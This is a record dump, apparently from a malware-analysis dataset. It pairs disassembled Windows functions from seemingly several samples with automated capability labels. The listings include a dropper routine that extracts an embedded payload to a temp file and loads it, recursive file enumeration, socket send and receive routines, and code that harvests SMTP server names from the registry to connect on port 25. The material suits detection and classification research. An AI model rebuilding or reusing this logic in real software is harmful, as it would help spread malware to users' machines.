joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Accept command line arguments
Get common file path
Read file on windows
Terminate process
Write file on windows

Disassembly:
and dword [0x40f898], 0
and dword [0x40f89c], 0
and dword [0x40f8a0], 0
and dword [0x40f8a8], 0
and dword [0x40f8a4], 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [0x40f7dc], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.DLL_LoadIconA]
mov dword [0x40f7f8], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.DLL_LoadCursorA]
mov dword [0x40f7fc], eax
mov dword [0x40f7e4], 0
mov dword [0x40f7e8], 0x401c50
mov dword [0x40f7ec], 0
mov dword [0x40f7f0], 0
mov eax, dword [0x40f7dc]
mov dword [0x40f7f4], eax
mov dword [0x40f800], 0
mov dword [0x40f804], 0
mov dword [0x40f808], 0x402026
push 0x40f7e4
call dword [sym.imp.USER32.DLL_RegisterClassA]
test eax, eax
je 0x401917
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
push 0
push pe_nt_image_headers32
push 4
push 0
push 0
push 0x80000000
push str.base.pk
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
push 2
push 0
push 0xffff69fe
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
cmp eax, 0xffffffff
je 0x4011aa
push 0
push 0x403084
push 0x9602
push 0x40348c
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x40308c
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
rdtsc
xor eax, edx
and eax, 0x7070707
add eax, 0x61616161
push 0
mov ah, 0x2e
push eax
mov eax, esp
push eax
push 0x40308c
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
pop eax
pop eax
push 0
push 2
push 2
push 0
push 0
push 0x40000000
push 0x40308c
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
push 0
push 0x403088
push dword [0x403084]
push 0x40348c
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x40308c
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x4011aa
mov ebx, eax
push str.main
push ebx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x4011aa
push 0
push 0
call eax
push 0
push str.base.pk
call fcn.00401cf4
push ebx
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
jmp 0x40199a
push 0x10
push str.Error
push str.Startup_failed.
push dword [0x40f7e0]
call dword [sym.imp.USER32.DLL_MessageBoxA]
cmp dword [0x40f8a4], 0
je 0x401943
mov eax, dword [0x40f8a4]
push eax
mov eax, dword [eax]
call dword [eax + 8]
cmp dword [0x40f8a8], 0
je 0x401957
mov eax, dword [0x40f8a8]
push eax
mov eax, dword [eax]
call dword [eax + 8]
cmp dword [0x40f8a0], 0
je 0x401972
push 0x40f8a0
push 0
mov eax, dword [0x40f89c]
push eax
mov eax, dword [eax]
call dword [eax + 0x20]
cmp dword [0x40f89c], 0
je 0x401986
mov eax, dword [0x40f89c]
push eax
mov eax, dword [eax]
call dword [eax + 8]
cmp dword [0x40f898], 0
je 0x40199a
mov eax, dword [0x40f898]
push eax
mov eax, dword [eax]
call dword [eax + 8]
push dword [0x40f814]
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x401cf4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x10], 1
pushal
lea esi, [ebp - 0x54]
lea edi, [ebp - 0x10]
push 0
push 0x44
push esi
call fcn.00401cdf
push 0
push 0x10
push edi
call fcn.00401cdf
mov dword [ebp - 0x54], 0x44
mov eax, dword [ebp + 8]
cmp dword [ebp + 0xc], 0
je 0x401d76
push dword [ebp + 8]
lea edx, [ebp - 0x25c]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea edx, [ebp - 0x25c]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x25c]
mov dword [eax + ecx], 0x20
push dword [ebp + 0xc]
lea edx, [ebp - 0x25c]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x25c]
push edi
push esi
push 0
push 0
push 0
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
popal
leave
ret 8
Function at 0x401350
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x34
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
test byte [section..data], 8
jne 0x401430
mov dword [esp + 0x10], 0
lea edi, [ebp - 0x10]
mov dword [esp + 8], 0
lea esi, [ebp - 0x14]
mov dword [esp + 0x14], edi
mov dword [esp + 0xc], esi
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov ebx, dword [ebp - 0x18]
mov dword [esp], ebx
mov ebx, dword [sym.imp.advapi32.dll_RegQueryValueExW]
call ebx
sub esp, 0x18
test eax, eax
jne 0x40147e
mov ecx, dword [ebp - 0x10]
add ecx, 4
mov edx, ecx
mov dword [ebp - 0x28], ecx
mov dword [esp + 8], edx
mov ecx, dword fs:[0x18]
mov dword [esp + 4], 0
mov eax, dword [ecx + 0x30]
mov dword [ebp - 0x24], ecx
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
sub esp, 0xc
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], eax
mov dword [ebp - 0x20], eax
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call ebx
mov edx, dword [ebp - 0x20]
sub esp, 0x18
test eax, eax
mov ecx, dword [ebp - 0x24]
jne 0x401460
mov eax, dword [ebp - 0x28]
and eax, 0xfffffffe
mov dword [edx + eax - 4], 0
lea esp, [ebp - 0xc]
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 0xc], 0x405017
mov dword [esp + 8], str.GetRegValue
mov dword [esp + 4], 0x403000
mov dword [esp], 3
call fcn.004012f0
jmp 0x40136c
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov eax, dword [ecx + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
lea esp, [ebp - 0xc]
xor edx, edx
pop ebx
mov eax, edx
pop esi
pop edi
pop ebp
ret
Function at 0x402bc0
Capabilities:
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sub.ucrtbase.dll__configure_wide_argv
call sub.ucrtbase.dll__initialize_wide_environment
call 0x402c30
mov esi, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_wide_environment
mov edx, 2
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov ecx, dword [eax + 0x3c]
cmp word [eax + ecx + 0x5c], 2
je 0x402c10
mov edx, 1
mov dword [esp], edx
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.00401490
mov dword [esp], eax
call sub.ucrtbase.dll_exit
jmp dword [sym.imp.ucrtbase.dll___p___argc]
Function at 0x401650
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x413038]
xor eax, esp
mov dword [esp + 0x198], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x414d10], eax
lea eax, [esp + 0x10]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x402730
mov dword [0x414cf8], 0
push 0
mov dword [0x414cfc], 0
mov dword [0x414d00], 0
push 0
call ebx
mov dword [0x414d04], 0
push 8
push 0
push 0
push 0xffffffffffffffff
mov esi, 1
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x414d08], eax
lea edi, [esi + 7]
push 0
push 0
push esi
push 0x4037b0
push 0
push 0
call ebx
inc esi
dec edi
jne 0x4016e2
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, 0x410c80
call fcn.00403800
push 0x400
mov dword [0x414d0c], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4016c7

Function at 0x4025d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x413038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
push edi
mov dword [0x414cfc], ebx
jmp 0x4025f0
xor eax, eax
cmp ebx, 1
sete al
xor edx, edx
xor ebx, ebx
xor edi, edi
xor esi, esi
mov dword [0x414d04], eax
mov eax, dword [0x414cf8]
test eax, eax
je 0x402661
mov edi, edi
inc edx
cmp byte [eax + 8], 0
jne 0x402626
inc ebx
test esi, esi
je 0x402624
mov cl, byte [esi + 9]
cmp cl, byte [eax + 9]
jle 0x402626
mov esi, eax
cmp dword [eax + 4], edi
cmovae edi, dword [eax + 4]
mov eax, dword [eax]
test eax, eax
jne 0x402610
mov dword [ebp - 0x10], edx
cmp edx, 0x1000
jl 0x402661
call fcn.00402560
mov edx, dword [ebp - 0x10]
cmp ebx, 0x200
jle 0x402661
mov dword [ebp - 0xc], 1
mov dword [0x414d04], 1
jmp 0x402666
xor eax, eax
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x4026e1
test esi, esi
je 0x4026e1
cmp dword [0x414cfc], 0x61a8
jb 0x40268d
push 0x100
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [ebp - 0xc]
jmp 0x4025f0
lea eax, [ebp - 8]
push eax
push 0
push esi
push 0x402510
push 0
push 0
mov byte [esi + 8], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4026ca
cmp eax, 0xffffffff
je 0x4026ca
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x100
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [ebp - 0xc]
jmp 0x4025f0
push 0x400
mov byte [esi + 8], 2
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [ebp - 0xc]
jmp 0x4025f0
mov ebx, 2
mov dword [0x414d04], 0
cmp edx, 3
jl 0x40271d
test edi, edi
je 0x40271d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, 0x1770
jb 0x40271d
call fcn.00402180
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4025f0
push 0x400
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4025f0
Function at 0x403270
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
mov eax, dword [0x413038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
test esi, esi
je 0x403374
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 7
jl 0x403374
push 0x448
lea eax, [ebp - 0x450]
push 0
push eax
call fcn.00408fa0
add esp, 0xc
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x450], esi
call fcn.00402740
lea ecx, [ebp - 0x450]
call fcn.00402870
lea ecx, [ebp - 0x450]
call fcn.00402910
lea ecx, [ebp - 0x450]
call fcn.004029a0
test eax, eax
jne 0x403374
mov eax, dword [ebp - 0x94]
lea ecx, [eax*4]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, 0x239f
add eax, edx
cdq
and edx, 0x3ff
add eax, edx
and eax, 0xfffffc00
push eax
push 0x40
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x403350
lea ecx, [ebp - 0x450]
mov byte [eax], 0
call fcn.00402f40
lea ecx, [ebp - 0x450]
call fcn.00403140
test eax, eax
je 0x403385
mov eax, dword [ebp - 0x10]
cmp byte [ebp - 0x29a], 0
je 0x403369
lea eax, [ebp - 0x199]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x403374
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040541b
mov esp, ebp
pop ebp
ret
cmp byte [ebp - 0x29a], 0
je 0x40339b
lea eax, [ebp - 0x199]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
xor ecx, ebp
pop esi
call fcn.0040541b
mov esp, ebp
pop ebp
ret

Function at 0x403690
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000c
call fcn.0040a8d0
mov eax, dword [0x413038]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
push 0x80
push 3
push 0
push 3
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x403795
cmp edi, 0xffffffff
je 0x403795
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
xor esi, esi
push esi
lea eax, [ebp - 0x10008]
push eax
push 0xfffd
lea eax, [ebp - 0x10004]
push eax
push edi
mov dword [ebp - 0x1000c], esi
mov dword [ebp - 0x10008], esi
call ebx
mov eax, dword [ebp - 0x10008]
test eax, eax
je 0x40377b
jmp 0x403710
cmp eax, 0xffff
jae 0x40377b
mov edx, eax
lea ecx, [ebp - 0x10004]
add esi, eax
mov byte [ebp + eax - 0x10004], 0
call fcn.004033b0
mov edx, dword [ebp - 0x10008]
lea ecx, [ebp - 0x10004]
call fcn.00403540
add dword [ebp - 0x1000c], eax
jne 0x40374f
cmp esi, 0x4b000
ja 0x40377b
push 0
lea eax, [ebp - 0x10008]
push eax
push 0xfffd
lea eax, [ebp - 0x10004]
push eax
push edi
mov dword [ebp - 0x10008], 0
call ebx
mov eax, dword [ebp - 0x10008]
test eax, eax
jne 0x403710
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040541b
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop edi
call fcn.0040541b
mov esp, ebp
pop ebp
ret
Function at 0x403800
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1264
call fcn.0040a8d0
mov eax, dword [0x413038]
xor eax, esp
mov dword [esp + 0x1260], eax
push ebx
push esi
push edi
push 0x800
lea eax, [esp + 0xa6c]
mov esi, ecx
push 0
push eax
mov dword [esp + 0x20], esi
call fcn.00408fa0
push 0x250
lea eax, [esp + 0x28]
push 0
push eax
call fcn.00408fa0
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
push esi
lea eax, [esp + 0xa84]
push str._s
push eax
call edi
add esp, 0x24
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0xa6c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
mov dword [esp + 0x10], ebx
cmp ebx, 0xffffffff
je 0x403970
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x403969
jmp 0x4038a0
cmp word [esp + 0x44], 0x2e
je 0x403955
push 0x800
lea eax, [esp + 0x26c]
push 0
push eax
call fcn.00408fa0
lea eax, [esp + 0x50]
push eax
push esi
lea eax, [esp + 0x27c]
push str._s_s
push eax
call edi
add esp, 0x1c
test byte [esp + 0x18], 0x10
je 0x4038ed
lea ecx, [esp + 0x268]
call fcn.00403800
jmp 0x403955
push 0xa64
call fcn.00405bbf
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x403912
push 0xa64
push 0
push ebx
call fcn.00408fa0
add esp, 0xc
jmp 0x403914
xor ebx, ebx
push ebx
push 0
lea edi, [ebx + 0x14]
mov ecx, 0x100
lea esi, [esp + 0x270]
rep movsd dword es:[edi], dword [esi]
push 0
push dword [0x414d08]
lea edi, [ebx + 0x814]
mov ecx, 0x94
lea esi, [esp + 0x28]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4038a0
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x126c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040541b
mov esp, ebp
pop ebp
ret

Function at 0x403a00
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x413038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
mov ebx, edx
mov dword [ebp - 0x408], ecx
call fcn.00408fa0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x404], ax
mov ax, word [ebp + 0xc]
push 1
mov word [ebp - 0x402], ax
call edi
mov word [ebp - 0x400], ax
xor eax, eax
lea edx, [ebp - 0x3f8]
mov ecx, esi
mov dword [ebp - 0x3fe], eax
mov word [ebp - 0x3fa], ax
call fcn.00403990
push 0xf
mov esi, eax
call edi
push 1
mov word [ebp + esi - 0x3f8], ax
call edi
push 0x10
push ebx
mov word [ebp + esi - 0x3f6], ax
push 0
lea eax, [esi + 0x10]
push eax
lea eax, [ebp - 0x404]
push eax
push dword [ebp - 0x408]
call dword [sym.imp.WS2_32.dll_sendto]
xor ecx, ecx
test eax, eax
setle cl
pop edi
pop esi
pop ebx
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040541b
mov esp, ebp
pop ebp
ret
Function at 0x404250
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x413038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.iphlpapi.dll
mov dword [ebp - 0x1c], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x40427a
cmp eax, 0xffffffff
jne 0x404285
push str.iphlpapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x40437a
cmp eax, 0xffffffff
je 0x40437a
push str.GetNetworkParams
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40437a
push 0x4000
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
lea eax, [ebp - 8]
push eax
push edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 8], 0x4000
call esi
test eax, eax
jne 0x40437a
lea esi, [edi + 0x10c]
xor ebx, ebx
test esi, esi
je 0x404357
lea ecx, [eax + 2]
lea ebx, [ebx]
lea edi, [esi + 4]
test edi, edi
je 0x40434e
push 0x35
mov word [ebp - 0x18], cx
call dword [sym.imp.WS2_32.dll_htons]
push edi
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40431a
cmp eax, 0xffffffff
jne 0x40432f
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x404349
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x404349
cmp eax, 0xffffffff
je 0x404349
mov edx, dword [ebp - 0x1c]
lea ecx, [ebp - 0x18]
call fcn.00403dd0
mov ebx, eax
test ebx, ebx
jne 0x404354
mov ecx, 2
mov esi, dword [esi]
test esi, esi
jne 0x4042f0
mov edi, dword [ebp - 0x20]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040541b
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0040541b
mov esp, ebp
pop ebp
ret
Function at 0x404390
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x413038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov eax, ecx
push edi
mov ecx, 1
xor edi, edi
sub ecx, edx
mov dword [ebp - 0x120], edx
mov dword [ebp - 0x11c], eax
mov esi, edx
mov dword [ebp - 0x124], ecx
test ebx, ebx
je 0x40441d
mov dword [ebp - 0x114], eax
mov eax, 0x10624dd3
mul ebx
shr edx, 6
mov dword [ebp - 0xc], edx
imul edx, edx, 0x3e8
mov eax, ebx
sub eax, edx
imul eax, eax, 0x3e8
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
lea eax, [ebp - 0x118]
push eax
push 0
mov dword [ebp - 0x118], 1
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x404452
mov eax, dword [ebp - 0x11c]
push 0
push 1
push esi
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
js 0x40446f
je 0x404452
mov cl, byte [esi]
inc edi
inc esi
cmp cl, 0xa
je 0x404452
mov ecx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x11c]
add ecx, esi
cmp ecx, 0x400
jl 0x4043c8
mov eax, dword [ebp - 0x120]
mov byte [eax + edi], 0
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040541b
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
or eax, 0xffffffff
pop ebx
call fcn.0040541b
mov esp, ebp
pop ebp
ret

Function at 0x4046b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x408
mov eax, dword [0x413038]
xor eax, esp
mov dword [esp + 0x404], eax
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
test eax, eax
je 0x404700
lea ecx, [ebp + 0x14]
push ecx
push eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_wvsprintfA]
push 0
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
mov edi, dword [ebp + 0xc]
push edi
push ecx
lea edx, [esp + 0x10]
mov ecx, esi
call fcn.00404390
add esp, 8
test eax, eax
jle 0x404768
lea eax, [esp + 8]
xor edx, edx
lea ecx, [ecx]
mov cl, byte [eax]
cmp cl, 0x20
je 0x40472c
cmp cl, 9
jne 0x40472f
inc eax
jmp 0x404720
mov cl, byte [eax]
cmp cl, 0x30
jl 0x40474f
cmp cl, 0x39
jg 0x40474f
lea edx, [edx + edx*4]
movsx ecx, cl
lea edx, [edx - 0x18]
inc eax
lea edx, [ecx + edx*2]
mov cl, byte [eax]
cmp cl, 0x30
jge 0x404736
cmp byte [eax], 0x2d
jne 0x40477e
push edi
push ecx
lea edx, [esp + 0x10]
mov ecx, esi
call fcn.00404390
add esp, 8
test eax, eax
jg 0x404717
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x404]
xor ecx, esp
call fcn.0040541b
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x40c]
pop edi
pop esi
xor ecx, esp
mov eax, edx
call fcn.0040541b
mov esp, ebp
pop ebp
ret
Function at 0x404aa0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x32c
mov eax, dword [0x413038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x88]
mov dword [ebp - 0x328], ecx
mov esi, str.SoftwareMicrosoftInternet_Account_ManagerAccounts
mov ecx, eax
push edi
mov dl, 0x53
sub esi, ecx
lea ecx, [ecx]
mov byte [eax], dl
mov dl, byte [esi + eax + 1]
lea eax, [eax + 1]
test dl, dl
jne 0x404ad0
mov byte [eax], dl
lea eax, [ebp - 0x108]
mov edx, str.SMTP_Server
mov esi, eax
mov cl, 0x53
sub edx, esi
mov byte [eax], cl
mov cl, byte [edx + eax + 1]
lea eax, [eax + 1]
test cl, cl
jne 0x404af0
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov byte [eax], cl
lea eax, [ebp - 0x320]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x88]
push eax
push connect
call esi
test eax, eax
je 0x404b3b
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040541b
mov esp, ebp
pop ebp
ret
push 0x100
lea eax, [ebp - 0x308]
push eax
xor edi, edi
push edi
push dword [ebp - 0x320]
xor ebx, ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x404c8a
lea eax, [ebp - 0x324]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x308]
push eax
push dword [ebp - 0x320]
inc ebx
call esi
test eax, eax
jne 0x404c69
push 0x100
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.00408fa0
add esp, 0xc
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x208]
push eax
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x324]
mov dword [ebp - 0x30c], 0x100
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x404c59
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
je 0x404bf3
test esi, esi
jne 0x404c0b
cmp byte [ebp - 0x208], 0x30
je 0x404c13
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x404c0b
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov esi, dword [eax]
xor eax, eax
cmp esi, 0xffffffff
cmove esi, eax
mov dword [ebp - 0x318], esi
test esi, esi
je 0x404c53
mov eax, 2
push 0x19
mov word [ebp - 0x31c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [ebp - 0x328]
lea ecx, [ebp - 0x31c]
mov word [ebp - 0x31a], ax
call fcn.004047a0
test eax, eax
mov eax, 1
cmove edi, eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push dword [ebp - 0x324]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jne 0x404c8a
push 0x100
lea eax, [ebp - 0x308]
push eax
push ebx
push dword [ebp - 0x320]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x404b60
push dword [ebp - 0x320]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor eax, eax
test edi, edi
pop edi
sete al
pop esi
xor ecx, ebp
pop ebx
call fcn.0040541b
mov esp, ebp
pop ebp
ret